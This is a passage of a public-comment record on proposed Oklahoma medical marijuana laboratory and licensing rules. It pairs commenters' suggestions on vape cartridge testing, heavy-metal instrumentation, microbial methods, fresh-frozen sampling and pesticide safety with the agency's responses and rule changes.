The satisfaction of the sampling field log requirement will be attained through the authorization granted during the creation of the METRC manifest. In accordance with the Oklahoma Medical Marijuana Protection Act, 63 O.S. § 427 et seq, and corresponding regulations, the laboratory is obligated to submit relevant information and data to the Authority via the State inventory tracking system. This submission to the Authority through the State inventory tracking system is considered adequate to fulfill the sampling field log obligation.

Should the state require additional information, this information should be acquired by addition of fields in METRC.

The current rules for testing concentrate safety in vaping carts or pods falls short in ensuring compliance with safety requirements. The process for removal of product from the cart, which involves heating, spinning, and breaking the carts or pods, presents inherent risks to both the integrity of the samples (potential for contamination and altered properties) and the safety of laboratory staff (risks associated with broken glass, plastic, etc.). Additionally, the testing of solvents like propane and butane is compromised due to the off-gassing resulting from the heating process, thereby compromising the overall safety of the tested products.

A more effective proposal involves packaging Certificate of Analysis (COAs) with the hardware, coupled with the state providing an approved list of vapes. Screening of carts prior to packaging would accomplish

the same end goal without compromising patient and laboratory staff safety. This approach ensures a heightened level of safety and compliance in the industry.

By deviating from the standard sample preparation tools, the likelihood for adulteration or injury increases drastically. ⅓ of all workplace injuries are hand injuries (https://pubmed.ncbi.nlm.nih.gov/9382655/). The opening of single use devices overwhelmingly results in broken glass, plastic, and unknown exposure to hazardous carcinogen and mutagens for laboratory staff.
Finally, when conducting final form testing, it is advisable to use standard equipment. If testing within a cart is desired, it should be easily opened to facilitate proper examination.

The addition of a definition of final form to meet a legally acceptable definition such as the following would improve industry compliance.

"The Final form of medical marijuana products are in final form packaged for ultimate consumer use and suitable for purchase by a patient or dispensary. In the event that the final form is inaccessible to the laboratory to perform safety testing, the final form shall be considered the marijuana derived product or final product."

These proposed revisions aim to enhance the efficacy, safety, and environmental responsibility of the proposed rules in the context of concentrate safety testing for vaping products.

Eric Wallis

OMMA Evaluation:
Thank you for taking the time to share your comment. Laboratory standardization recommendations are required by HB 4056 (2022) and codified in state statute at 63 O.S. 427.17. While the Authority will not be making changes to our rules based on this specific comment, please know that we are grateful for your input. Thanks again for taking the time to share your thoughts and feedback with us.

Change:
No rule changes are recommended.

Comment:
The proposed new rules allow for 3 different types of detectors for Potency, 2 different types of detectors for solvents, 2-3 different types of ionization for Pesticides and Mycotoxins, yet the ONLY proposed allowable instrumentation for metals is prescribed as ICP-MS.
We have utilized ICP-OES from the time we were accredited to perform heavy metals analysis. We pass all the PT studies and we exceed all the requirements for detection and quantitation in the new proposed rules. I have submitted our latest detection/LOQ data to OMMA staff.
We perform some unique chemistry prior to analysis by ICP-OES that greatly enhances the response of both Arsenic and Mercury by generating the metal hydride of each respective metal. I agree that traditional spray nebulization of ICP-OES would most likely not meet the requirements for these two elements, but with our additional steps, we most certainly meet and exceed the proposed minimum detection and quantitation levels.

If we meet all criteria set forth in the new rules, why limit us to one technology?

I propose that any instrumentation such as ICP-OES be a viable option for instrumentation for heavy metals as long as the same criteria set forth for ICP-MS is achieved.

Brandon Mosley

OMMA Evaluation:
We sincerely appreciate you sharing your comment with us. This comment primarily relates to laboratory standardization recommendations as required by HB 4056 (2022) and codified in state statute at 63 O.S. 427.17. It's important to note that changes to this statutory requirement fall within the jurisdiction of the legislature and cannot be changed by OMMA. As it relates to instrumentation for heavy metal analysis, the Authority will be making changes to permanent rules to clarify instrumentation for heavy metal analyte testing in **OAC 442:10-8-1(i)(4)(B)**.

Change:
The Authority broadened instrumentation for heavy metal analysis by adding "or Coupled Plasma Optical Emission Spectroscopy (ICP-OES)" in **OAC 442:10-8-1(i)(4)(B).**

Comment:
Suggested change to the sampling field log language:

The satisfaction of the sampling field log requirement will be attained through the authorization granted during the creation of the METRC manifest. In accordance with the Oklahoma Medical Marijuana Protection Act, 63 O.S. § 427 et seq, and corresponding regulations, the laboratory is obligated to submit relevant information and data to the Authority via the State inventory tracking system. This submission to the Authority through the State inventory tracking system is considered adequate to fulfill the sampling field log obligation.

Should the state require additional information, this information should be acquired by addition of fields in METRC.

The current rules for testing concentrate safety in vaping carts or pods falls short in ensuring compliance with safety requirements. The process for removal of product from the cart, which involves heating, spinning, and breaking the carts or pods, presents inherent risks to both the integrity of the samples (potential for contamination and altered properties) and the safety of laboratory staff (risks associated with broken glass, plastic, etc.). Additionally, the testing of solvents like propane and butane is compromised due to the off-gassing resulting from the heating process, thereby compromising the overall safety of the tested products.

A more effective proposal involves packaging Certificate of Analysis (COAs) with the hardware, coupled with the state providing an approved list of vapes. Screening of carts prior to packaging would accomplish the same end goal without compromising patient and laboratory staff safety. This approach ensures a heightened level of safety and compliance in the industry.

By deviating from the standard sample preparation tools, the likelihood for adulteration or injury increases drastically. ⅓ of all workplace injuries are hand injuries (https://pubmed.ncbi.nlm.nih.gov/9382655/). The opening of single use devices overwhelmingly results in broken glass, plastic, and unknown exposure to hazardous carcinogen and mutagens for laboratory staff.
Finally, when conducting final form testing, it is advisable to use standard equipment. If testing within a cart is desired, it should be easily opened to facilitate proper examination.

The addition of a definition of final form to meet a legally acceptable definition such as the following would improve industry compliance.

"The Final form of medical marijuana products are in final form packaged for ultimate consumer use and suitable for purchase by a patient or dispensary. In the event that the final form is inaccessible to the laboratory to perform safety testing, the final form shall be considered the marijuana derived product or final product."

These proposed revisions aim to enhance the efficacy, safety, and environmental responsibility of the proposed rules in the context of concentrate safety testing for vaping products.

Eric Wheeler

OMMA Evaluation:
Thank you for taking the time to share your comment. Laboratory standardization recommendations are required by HB 4056 (2022) and codified in state statute at 63 O.S. 427.17. While the Authority will not be making changes to our rules based on this specific comment, please know that we are grateful for your input. Thanks again for taking the time to share your thoughts and feedback with us.

Change:
No rule changes are recommended.

Comment:
Under 442:10-8-3. Sampling requirements and procedures

(4) For transfer or sale of harvest batches or production batches, samples must be collected in the final form. For purpose of this Subsection, "final form" means the form medical marijuana or a medical marijuana product is in when sold or transferred, NOT the delivery device the medical marijuana is in.

You cannot effectively test vape hardware this way, and all labs end up opening the hardware and pouring the cannabis concentrate out. If it is Heavy Metals on the hardware that you seek, heavy metals do not vaporize at the low temperatures that cartridges operate at. If it is microbes you seek, microbes are eliminated and burned off before the boiling point of the medical marijuana product.

This rule will force processors to test the same batch of concentrates multiple times for different versions of delivery methods (ex. 1g cartridge vs 2g cartridge, vs Disposables), only to end up with the same results.

Essentially this will run up the cost of production, introduce a lot of waste from testing labs with electronic components and wasted batteries from disposables, and force processors to stock up on hardware that might be sitting on the shelves for over a year compared to the same batch of final medical marijuana that is in a different type of delivery device. Eventually, you will create a new type of market, where 1g and 2g disposables are obsolete, and 5g to 7g disposables become a new norm.

As a Chemical Engineer graduate, I advise altering this rule with a subsection that if the final form of medical marijuana is to be used in vape cartridges, the processor will provide a few empty samples of the different hardware that the same final form of medical marijuana will go into. These empty samples can be swabbed and tested as a whole for heavy metals and microbes.

Shawn

OMMA Evaluation:

Thank you for taking the time to share your comment. Laboratory standardization recommendations are required by HB 4056 (2022) and codified in state statute at 63 O.S. 427.17. While the Authority will not be making changes to our rules based on this specific comment, please know that we are grateful for your input. Thanks again for taking the time to share your thoughts and feedback with us.

Change:
No rule changes are recommended.

Comment:
The satisfaction of the sampling field log requirement will be attained through the authorization granted during the creation of the METRC manifest. In accordance with the Oklahoma Medical Marijuana Protection Act, 63 O.S. § 427 et seq, and corresponding regulations, the laboratory is obligated to submit relevant information and data to the Authority via the State inventory tracking system. This submission to the Authority through the State inventory tracking system is considered adequate to fulfill the sampling field log obligation.

Vincent

OMMA Evaluation:
We sincerely appreciate you sharing your comment with us. While it doesn't specifically address changes to the proposed permanent rules, your feedback is valuable to us. Although the Authority won't be making changes based on this comment, rest assured that we've shared your insights with our team. Your input is important, and we appreciate you contributing to the conversation. Thank you once again for sharing your thoughts.

Change:
No rule changes are recommended.

Comment:
The satisfaction of the sampling field log requirement will be attained through the authorization granted during the creation of the METRC manifest. In accordance with the Oklahoma Medical Marijuana Protection Act, 63 O.S. § 427 et seq, and corresponding regulations, the laboratory is obligated to submit relevant information and data to the Authority via the State inventory tracking system. This submission to the Authority through the State inventory tracking system is considered adequate to fulfill the sampling field log obligation.

The current rules for testing concentrate safety in vaping carts or pods falls short in ensuring compliance with safety requirements. The process for removal of product from the cart, which involves heating, spinning, and breaking the carts or pods, presents inherent risks to both the integrity of the samples (potential for contamination and altered properties) and the safety of laboratory staff (risks associated with broken glass, plastic, etc.). Additionally, the testing of solvents like propane and butane is compromised due to the off-gassing resulting from the heating process, thereby compromising the overall safety of the tested products.

A more effective proposal involves packaging Certificate of Analysis (COAs) with the hardware. Screening of carts prior to packaging would accomplish the same end goal without compromising patient and laboratory staff safety. This approach ensures a heightened level of safety and compliance in the industry.

By deviating from the standard sample preparation tools, the likelihood for adulteration or injury increases

drastically. ⅓ of all workplace injuries are hand injuries (https://pubmed.ncbi.nlm.nih.gov/9382655/). The opening of single use devices overwhelmingly results in broken glass, plastic, and unknown exposure to hazardous carcinogen and mutagens for laboratory staff.

Finally, when conducting final form testing, it is advisable to use standard equipment. If testing within a cart is desired, it should be easily opened to facilitate proper examination.

The addition of a definition of final form to meet a legally acceptable definition such as the following would improve industry compliance.

"The Final form of medical marijuana products are in final form packaged for ultimate consumer use and suitable for purchase by a patient or dispensary. In the event that the final form is inaccessible to the laboratory to perform safety testing, the final form shall be considered the marijuana derived product or final product."

These proposed revisions aim to enhance the efficacy, safety, and environmental responsibility of the proposed rules in the context of concentrate safety testing for vaping products.

Piper Harrison

OMMA Evaluation:
Thank you for taking the time to share your comment. Laboratory standardization recommendations are required by HB 4056 (2022) and codified in state statute at 63 O.S. 427.17. While the Authority will not be making changes to our rules based on this specific comment, please know that we are grateful for your input. Thanks again for taking the time to share your thoughts and feedback with us.

Change:
No rule changes are recommended.

Comment:
The current rules for testing concentrate safety in vaping carts or pods falls short in ensuring compliance with safety requirements. The process for removal of product from the cart, which involves heating, spinning, and breaking the carts or pods, presents inherent risks to both the integrity of the samples (potential for contamination and altered properties) and the safety of laboratory staff (risks associated with broken glass, plastic, etc.). Additionally, the testing of solvents like propane and butane is compromised due to the off-gassing resulting from the heating process, thereby compromising the overall safety of the tested products.

A more effective proposal involves packaging Certificate of Analysis (COAs) with the hardware, coupled with the state providing an approved list of vapes. Screening of carts prior to packaging would accomplish the same end goat without compromising patient and laboratory staff safety. This approach ensures a heightened level of safety and compliance in the industry

By deviating from the standard sample preparation tools, the likelihood for adulteration or injury increases drastically. 1/3 of all workplace injuries are hand injuries (https://pubmed.ncbi.nlm.nih.gov/9382655/). The opening of single use devices overwhelmingly results in broken glass, plastic, and unknown exposure to hazardous carcinogen and mutagens for laboratory staff.

Finally, when conducting final form testing, it is advisable to use standard equipment. If testing within a cart is desired, it should be easily opened to facilitate proper examination.

The addition of a definition of final form to meet a legally acceptable definition such as the following would improve industry compliance:

"The final form of medical marijuana products are in final form packaged for ultimate consumer use and suitable for purchase by a patient or dispensary. In the event that the final form is inaccessible to the laboratory to perform safety testing, the final form shall be considered the marijuana derived product or final product."

These proposed revisions aim to enhance the efficacy, safety, and environmental responsibility of the proposed rules in the context of concentrate safety testing for vaping products.

Cameron Golden

OMMA Evaluation:
Thank you for taking the time to share your comment. Laboratory standardization recommendations are required by HB 4056 (2022) and codified in state statute at 63 O.S. 427.17. While the Authority will not be making changes to our rules based on this specific comment, please know that we are grateful for your input. Thanks again for taking the time to share your thoughts and feedback with us.

Change:
No rule changes are recommended.

Comment:
The satisfaction of the sampling field log requirement will be attained through the authorization granted during the creation of the METRC manifest. In accordance with the Oklahoma Medical Marijuana Protection Act, 63 O.S. § 427 et seq, and corresponding regulations, the laboratory is obligated to submit relevant information and data to the Authority via the State inventory tracking system. This submission to the Authority through the State inventory tracking system is considered adequate to fulfill the sampling field log obligation.

Should the state require additional information, this information should be acquired by addition of fields in METRC

The current rules for testing concentrate safety in vaping carts or pods falls short in ensuring compliance with safety requirements. The process for removal of product from the cart, which involves heating, spinning, and breaking the carts or pods, presents inherent risks to both the integrity of the samples (potential for contamination and altered properties) and the safety of laboratory staff (risks associated with broken glass, plastic, etc.). Additionally, the testing of solvents like propane and butane is compromised due to the off-gassing resulting from the heating process, thereby compromising the overall safety of the tested products.

A more effective proposal involves packaging Certificate of Analysis (COAs) with the hardware. Screening of carts prior to packaging would accomplish the same end goal without compromising patient and laboratory staff safety. This approach ensures a heightened level of safety and compliance in the industry.

By deviating from the standard sample preparation tools, the likelihood for adulteration or injury increases drastically. ⅓ of all workplace injuries are hand injuries (https://pubmed.ncbi.nlm.nih.gov/9382655/). The opening of single use devices overwhelmingly results in broken glass, plastic, and unknown exposure to

hazardous carcinogen and mutagens for laboratory staff.
Finally, when conducting final form testing, it is advisable to use standard equipment. If testing within a cart is desired, it should be easily opened to facilitate proper examination.

The addition of a definition of final form to meet a legally acceptable definition such as the following would improve industry compliance.

"The Final form of medical marijuana products are in final form packaged for ultimate consumer use and suitable for purchase by a patient or dispensary. In the event that the final form is inaccessible to the laboratory to perform safety testing, the final form shall be considered the marijuana derived product or final product."

These proposed revisions aim to enhance the efficacy, safety, and environmental responsibility of the proposed rules in the context of concentrate safety testing for vaping products.

Tyler Russell

OMMA Evaluation:
Thank you for taking the time to share your comment. Laboratory standardization recommendations are required by HB 4056 (2022) and codified in state statute at 63 O.S. 427.17. While the Authority will not be making changes to our rules based on this specific comment, please know that we are grateful for your input. Thanks again for taking the time to share your thoughts and feedback with us.

Change:
No rule changes are recommended.

Comment:
The satisfaction of the sampling field log requirement will be attained through the authorization granted during the creation of the METRC manifest. In accordance with the Oklahoma Medical Marijuana Protection Act, 63 O.S. § 427 et seq, and corresponding regulations, the laboratory is obligated to submit relevant information and data to the Authority via the State inventory tracking system. This submission to the Authority through the State inventory tracking system is considered adequate to fulfill the sampling field log obligation.

Should the state require additional information, this information should be acquired by addition of fields in METRC.

The current rules for testing concentrate safety in vaping carts or pods falls short in ensuring compliance with safety requirements. The process for removal of product from the cart, which involves heating, spinning, and breaking the carts or pods, presents inherent risks to both the integrity of the samples (potential for contamination and altered properties) and the safety of laboratory staff (risks associated with broken glass, plastic, etc.). Additionally, the testing of solvents like propane and butane is compromised due to the off-gassing resulting from the heating process, thereby compromising the overall safety of the tested products.

A more effective proposal involves packaging Certificate of Analysis (COAs) with the hardware. Screening of carts prior to packaging would accomplish the same end goal without compromising patient and laboratory staff safety. This approach ensures a heightened level of safety and compliance in the industry.

By deviating from the standard sample preparation tools, the likelihood for adulteration or injury increases drastically. ⅓ of all workplace injuries are hand injuries (https://pubmed.ncbi.nlm.nih.gov/9382655/). The opening of single use devices overwhelmingly results in broken glass, plastic, and unknown exposure to hazardous carcinogen and mutagens for laboratory staff.

Finally, when conducting final form testing, it is advisable to use standard equipment. If testing within a cart is desired, it should be easily opened to facilitate proper examination.

The addition of a definition of final form to meet a legally acceptable definition such as the following would improve industry compliance.

"The Final form of medical marijuana products are in final form packaged for ultimate consumer use and suitable for purchase by a patient or dispensary. In the event that the final form is inaccessible to the laboratory to perform safety testing, the final form shall be considered the marijuana derived product or final product."

These proposed revisions aim to enhance the efficacy, safety, and environmental responsibility of the proposed rules in the context of concentrate safety testing for vaping products.

Mark Strecker

OMMA Evaluation:
Thank you for taking the time to share your comment. Laboratory standardization recommendations are required by HB 4056 (2022) and codified in state statute at 63 O.S. 427.17. While the Authority will not be making changes to our rules based on this specific comment, please know that we are grateful for your input. Thanks again for taking the time to share your thoughts and feedback with us.

Change:
No rule changes are recommended.

Comment:
I write on behalf of AOAC INTERNATIONAL (AOAC), a nonprofit organization known for advancing food safety and product integrity through standards, validated test methods, and laboratory quality programs. Established in 1884, AOAC today is renowned especially for its compendium of methods, Official Methods of Analysis of AOAC INTERNATIONAL(TM), and also for methods certified through AOAC's Performance Tested Methods(SM) program.

AOAC has received questions from state cannabis regulators about the use of enrichment-free microbiological methods for cannabis testing and would like to clarify its policy. AOAC develops validation guidelines and method acceptance criteria through a consensus-based approval process with input from all stakeholders, including regulators, laboratories, method developers, and others. For cannabis analysis, this occurs through the Cannabis Analytical Science Program (CASP), one of AOAC's integrated science programs.

Within CASP, working groups develop Standard Method Performance Requirements (SMPRs) and guidance documents that provide method developers the necessary acceptance criteria to evaluate their methods for chemical or microbiological analytes pertinent to the testing of cannabis and cannabis-derived products. The CASP Microbial Contaminants working group has developed four SMPRs with consensus approval to date:

• SMPR 2019.003: Detection of Aspergillus species (including flavus, fumigatus, niger and terreus) in cannabis and cannabis products.
• SMPR 2020.002: Detection of Salmonella spp. in cannabis and cannabis products.
• SMPR 2020.012: Detection of shiga-toxin producing E. coli (STEC) in cannabis and cannabis products.
• SMPR 2021.009: Viable yeast and mold count enumeration in cannabis and cannabis products.

Within these SMPRs and AOAC's microbiology validation guidelines (Official Methods of Analysis Appendix J), there is no requirement that candidate methods include an enrichment step prior to analysis. AOAC requires that all candidate methods (even those that are enrichment-free) must demonstrate acceptable sensitivity relative to culture-based methods during the validation process. This is achieved by requiring the enrichment-free candidate method to demonstrate statistically similar results to cultural methods with full enrichment protocols as outlined in the SMPRs. If an acceptable statistical comparison is demonstrated, the method may be certified through our Performance Tested Methods(SM) program.

AOAC, therefore, suggests a revision of the Proposed permanent rules [OAR Docket #23-1025], replacing OMMA Emergency Rules Section 442: 10-8-6.1(j)(1)(D)(i). We propose removing the requirement for enrichment, as long as a test method has been certified by an independent scientific body (such as AOAC), validated at an independent testing laboratory, and shows no statistical difference from the cultural confirmatory method (including enrichment).

Brad Stawick

OMMA Evaluation:
Thank you for taking the time to share your comment. Laboratory standardization recommendations are required by HB 4056 (2022) and codified in state statute at 63 O.S. 427.17. While the Authority will not be making changes to our rules based on this specific comment, please know that we are grateful for your input. Thanks again for taking the time to share your thoughts and feedback with us.

Change:
No rule changes are recommended.

Comment:
The satisfaction of the sampling field log requirement will be attained through the authorization granted during the creation of the METRC manifest. In accordance with the Oklahoma Medical Marijuana Protection Act, 63 O.S. § 427 et seq, and corresponding regulations, the laboratory is obligated to submit relevant information and data to the Authority via the State inventory tracking system. This submission to the Authority through the State inventory tracking system is considered adequate to fulfill the sampling field log obligation.

Should the state require additional information, this information should be acquired by addition of fields in METRC.

The current rules for testing concentrate safety in vaping carts or pods falls short in ensuring compliance with safety requirements. The process for removal of product from the cart, which involves heating, spinning, and breaking the carts or pods, presents inherent risks to both the integrity of the samples (potential for contamination and altered properties) and the safety of laboratory staff (risks associated with broken glass, plastic, etc.). Additionally, the testing of solvents like propane and butane is compromised due to the off-gassing resulting from the heating process, thereby compromising the overall safety of the tested products.

A more effective proposal involves packaging Certificate of Analysis (COAs) with the hardware. Screening of carts prior to packaging would accomplish the same end goal without compromising patient and laboratory staff safety. This approach ensures a heightened level of safety and compliance in the industry.

By deviating from the standard sample preparation tools, the likelihood for adulteration or injury increases drastically. ⅓ of all workplace injuries are hand injuries (https://pubmed.ncbi.nlm.nih.gov/9382655/). The opening of single use devices overwhelmingly results in broken glass, plastic, and unknown exposure to hazardous carcinogen and mutagens for laboratory staff.
Finally, when conducting final form testing, it is advisable to use standard equipment. If testing within a cart is desired, it should be easily opened to facilitate proper examination.

The addition of a definition of final form to meet a legally acceptable definition such as the following would improve industry compliance.

"The Final form of medical marijuana products are in final form packaged for ultimate consumer use and suitable for purchase by a patient or dispensary. In the event that the final form is inaccessible to the laboratory to perform safety testing, the final form shall be considered the marijuana derived product or final product."

These proposed revisions

Sonia

OMMA Evaluation:
Thank you for taking the time to share your comment. Laboratory standardization recommendations are required by HB 4056 (2022) and codified in state statute at 63 O.S. 427.17. While the Authority will not be making changes to our rules based on this specific comment, please know that we are grateful for your input. Thanks again for taking the time to share your thoughts and feedback with us.

Change:
No rule changes are recommended.

Comment:
OKAF, Inc. Proposal
OAC 442:10-8-1(i)
(9) Water activity and moisture content. Harvest batch samples shall be tested to determine the level of water activity and the percentage of moisture content in accordance with this subsection. This subsection shall not apply to harvest batches that are fresh frozen.

OAC 442:10-8-3(a)
(3) All commercial transporters, growers, processors or dispensaries transporting samples to a laboratory shall be prohibited from storing samples at any location other than the laboratory facility. All samples must be delivered the day of collection.
(A) Samples of fresh frozen may be stored at the location where the sample was taken and shall be delivered within 48 hours to a laboratory facility.

Reasoning
Our first requested change involving OAC 442:10-8-1(i)(9) is to change "flash frozen" to "fresh frozen". "Fresh frozen" is the nationally recognized term that accurately reflects the product commonly used in

cannabis commerce. “Flash frozen” is not a term that is used in other states when referring to frozen cannabis biomass. In fact, “fresh frozen” is so widely recognized, Colorado’s Division of Taxation will add fresh frozen to their quarterly published average market rate reports, which are used to assess excise taxes owed by cultivation businesses.
Our final recommendation seeks to refine the operational procedures for handling fresh frozen samples, acknowledging the unique logistical challenges they present. Fresh frozen biomass, due to its necessity to be immediately frozen post-harvest, demands a distinct approach for sampling and storage compared to traditionally dried biomass. To ensure the integrity and representativeness of the sample, it is imperative that the entire harvest batch is collected and then randomized samples are taken before freezing. This sequence is crucial as attempting to sample from an already frozen batch introduces significant risks of contamination and compromises the ability to obtain a truly representative sample. Moreover, maintaining the fresh frozen material at optimal conditions (below -40°F) without additional handling post-freezing is essential to prevent degradation and microbial contamination. Therefore, we advocate for a sampling protocol that accommodates the unique requirements of fresh frozen biomass, allowing sufficient time beyond 24 hours for the product to be adequately frozen. This approach not only adheres to best practices within the industry but also ensures the reliability of testing results, thereby upholding product quality and safety standards.

Conclusion
Our proposals aim to align the terminology and operational protocols of the Oklahoma Administrative Code with the established norms and best practices of the cannabis industry. By updating the term to "fresh frozen," we seek to ensure consistency and clarity within regulatory language, reflecting the term's widespread recognition and adoption across the cannabis sector, as will be evidenced by its inclusion in Colorado’s Division of Taxation reports. Furthermore, our recommendations for refining the handling and sampling procedures for fresh frozen biomass address the unique challenges posed by this product type. Adopting these changes will not only mitigate risks of contamination and degradation but also enhance the reliability of testing outcomes, thereby safeguarding product quality and consumer safety. By embracing these proposals, OMMA can demonstrate its commitment to regulatory excellence and support for the evolving needs of a dynamic industry, ultimately fostering a regulatory environment that promotes innovation, compliance, and the highest standards of product integrity.

Kevin Gallagher

OMMA Evaluation:
Thank you for taking the time to share your comment. Laboratory standardization recommendations are required by HB 4056 (2022) and codified in state statute at 63 O.S. 427.17. As it relates to the term “flash frozen”, the Authority will be making changes to permanent rules to replace references to “flash frozen” to “fresh frozen” in **OAC 442:10-8-1(i)(9)**. Thanks again for taking the time to share your thoughts and feedback with us.

Change:
The Authority replaced the term “flash frozen” with “fresh frozen” in **OAC 442:10-8-1(i)(9)**.

Comment:
I wish you would not mess around for a system that seems to work. Every time that government gets involved, there is a problem. I wish that I could be alone and have my own pain. You are creating a pain on me by your own choosing. I would ask to be respected. I ask that.

I am not exact sure what the rule change may be. You may have given me access to the legislative effort, but I am still unclear as to how you wish to change the rules. I really wish no changes to the rules. I

know that this is evolving and that you are doing your best to keep up. I want my personal ability to keep my medicine in place. You have created a space where we needed. I can not relive war after war. It is medicine, and it helps me sleep when nothing else helps.

Seller Responsibilities
I know that you want to tighten control. I am afraid that you are imposing a government burden that will drive up the price of my medicine. I can't afford to pay more for you to lay more burdensome inventory and tracking. You will never kill the export business. It will happen regardless of your rule changes. How about keeping the rules as they are, but you enforce the existing rules. You let this get out of control. Do not be a fascist in trying to get it back in control. Weed is better for you than these other chemicals that one takes. Just leave them alone if they want to export weed. I do not see it as a crime to let others smoke. Let the producers make as much weed as they want. I will smoke it, but I wish the rest of the nation had the same right. I am thankful for what I have in Oklahoma. Please do not be heavy handed with the producers. I have medicine at the right price right now. Please do no go messing all that up.

Frank Joseph Gaydusek

OMMA Evaluation:
We sincerely appreciate you sharing your comment with us. While it doesn't specifically address changes to the proposed permanent rules, your feedback is valuable to us. Although the Authority won't be making changes based on this comment, rest assured that we've shared your insights with our team. Your input is important, and we appreciate you contributing to the conversation. Thank you once again for sharing your thoughts.

Change:
No rule changes are recommended.

Comment:
The satisfaction of the sampling field log requirement will be attained through the authorization granted during the creation of the METRC manifest. In accordance with the Oklahoma Medical Marijuana Protection Act, 63 O.S. § 427 et seq, and corresponding regulations, the laboratory is obligated to submit relevant information and data to the Authority via the State inventory tracking system. This submission to the Authority through the State inventory tracking system is considered adequate to fulfill the sampling field log obligation.

Should the state require additional information, this information should be acquired by addition of fields in METRC.

The current rules for testing concentrate safety in vaping carts or pods falls short in ensuring compliance with safety requirements. The process for removal of product from the cart, which involves heating, spinning, and breaking the carts or pods, presents inherent risks to both the integrity of the samples (potential for contamination and altered properties) and the safety of laboratory staff (risks associated with broken glass, plastic, etc.). Additionally, the testing of solvents like propane and butane is compromised due to the off-gassing resulting from the heating process, thereby compromising the overall safety of the tested products.

A more effective proposal involves packaging Certificate of Analysis (COAs) with the hardware, coupled with the state providing an approved list of vapes. Screening of carts prior to packaging would accomplish the same end goal without compromising patient and laboratory staff safety. This approach ensures a

heightened level of safety and compliance in the industry.

By deviating from the standard sample preparation tools, the likelihood for adulteration or injury increases drastically. ⅓ of all workplace injuries are hand injuries (https://pubmed.ncbi.nlm.nih.gov/9382655/). The opening of single use devices overwhelmingly results in broken glass, plastic, and unknown exposure to hazardous carcinogen and mutagens for laboratory staff.

Finally, when conducting final form testing, it is advisable to use standard equipment. If testing within a cart is desired, it should be easily opened to facilitate proper examination.
The addition of a definition of final form to meet a legally acceptable definition such as the following would improve industry compliance.
"The Final form of medical marijuana products are in final form packaged for ultimate consumer use and suitable for purchase by a patient or dispensary. In the event that the final form is inaccessible to the laboratory to perform safety testing, the final form shall be considered the marijuana derived product or final product."
These proposed revisions aim to enhance the efficacy, safety, and environmental responsibility of the proposed rules in the context of concentrate safety testing for vaping products.

Heather Bliss

OMMA Evaluation:
Thank you for taking the time to share your comment. Laboratory standardization recommendations are required by HB 4056 (2022) and codified in state statute at 63 O.S. 427.17. While the Authority will not be making changes to our rules based on this specific comment, please know that we are grateful for your input. Thanks again for taking the time to share your thoughts and feedback with us.

Change:
No rule changes are recommended.

Comment:
442:10-4-5.(f)(3)(D) good change to address tracking of clones before becoming viable plants

442:10-5-1.1(13)(A)(vii) Directly conflicts with both state labor law definition of contractor and 1099 classification for state and federal tax reporting purposes for any ancillary vendor or service provider to a MMJ business licensee.

Jed Green

OMMA Evaluation:
Thank you for taking the time to share your comment. The proposed permanent rules implement legislative changes mandated by SB 1704 (2022) and address changes in statute under 63 O.S. § 427.14b. The definition of employee found in proposed OAC 442:10-5-1.1(13)(A) is for the purpose of that section only. The permanent rules are intended to provide a structure for the implementation of these legislative requirements, including clarification on the requirement that all employees of a medical marijuana business licensee apply for and receive a credential authorizing the employee to work in a licensed medical marijuana business. The Authority will be making changes to permanent rules to clarify certain people who do not need to apply for and receive a credential in **OAC 442:10-5-1.1(13)**. Thanks again for taking the time to share your thoughts and feedback with us.

Change:

The Authority clarified who does not need to apply for and receive a credential in **OAC 442:10-5-1.1(13)(A).**

Comment:
442:10-8-6.3 (8): The sampler shall create and use a sample field log to record the following information for each sample, and copies of the sample field log shall be maintained by both the laboratory and the commercial licensee from which the samples are being collected.

1. Add sample field log into Metrc system, so samplers/licensees cannot ignore this document if they want to transfer their testing samples to laboratory. Otherwise, laboratory cannot easily maintain this log since samplers/licensees forget to create it or bring it to laboratory, and lab has to call sampler/licensee to send this log always.
2. Or, only ask commercial licensees to maintain this log, it's not mandatory for laboratory to maintain this log. Since it's a bit difficult to obtain/receive sample field log from sampler/licensee always.

Luke Wang

OMMA Evaluation:
We sincerely appreciate you sharing your comment with us. While it doesn't specifically address changes to the proposed permanent rules, your feedback is valuable to us. Although the Authority won't be making changes based on this comment, rest assured that we've shared your insights with our team. Your input is important, and we appreciate you contributing to the conversation. Thank you once again for sharing your thoughts.

Change:
No rule changes are recommended.

Comment:
We need to be very careful about how often we are proposing rule changes, and how they are being implemented with licensing revocation. The OMMA inspectors and the people who answer the phone lines have no answers when we ask questions about current rules. These people literally say, "I cannot answer that, but I can read the rules to you" We can all read, so we don't need help reading the rules. We do need help interpreting the rules and rule changes when they are ambiguous.

The fact that OMMA inspectors and those who answer the phone lines don't know how to interpret the rules, means there is a major problem. Until we get everything dialed in with every OMMA employee and cannabis business, we cannot be implementing more rules. We can't expect the owners and employees of cannabis businesses to abide by the rules when the OMMA employees cannot answer questions about exactly how to abide by said rules.

Let's work together on how to do this right, rather than blaming everything on OMMA or the license holders. No entity (including OMMA) knows how to follow every single rule right now, so this needs to be solved before we can move further with any changes.

Mary Lane Porter

OMMA Evaluation:
We sincerely appreciate you sharing your comment with us. While it doesn't specifically address changes to the proposed permanent rules, your feedback is valuable to us. Although the Authority won't be making

changes based on this comment, rest assured that we've shared your insights with our team. Your input is important, and we appreciate you contributing to the conversation. Thank you once again for sharing your thoughts.

Change:
No rule changes are recommended.

Comment:
Patient safety has been neglected drastically in 2023. Omma was advised of products that failed testing for pesticides. As a patient we have had 35+ products/multiple brands tested. There have been adverse health effects due to the consumption of these products not only to me, but many others as well. Omma is the agency of enforcement and has neglected to ensure our access to safe medicine in final form at all times. The embargoes/recalls issued this year these were not executed to the entirety of the Omma policies. I ask you why that months after recalls were issued these products were still available on the shelves of dispensaries. The verbiage used by Omma in regard to the recalls was that it was improperly tested. This gave the public the impression that these products/batches affected were safe to consume. Would you like to inhale 18 different pesticides when you inhaled your medicine? I should think not. So why should we as patients be subjected to be poisoned on your watch.

There needs to be changes made to increase how many pesticides are tested for. Currently it is 13 in Oklahoma. California and Colorada test for 66-106 different pesticides. Several of the chemicals that products failed for when tested are banned in North America, some in Oklahoma as well as others being banned in cannabis agriculture. So how did it get into my medical marijuana? Can you imagine terminally ill, psychiatric, chronically ill, veterans and elderly inhaled these contaminants? They did, they have, and they still are. WE THE PEOPLE, ME THE PEOPLE, THEY THE PEOPLE all deserve better.

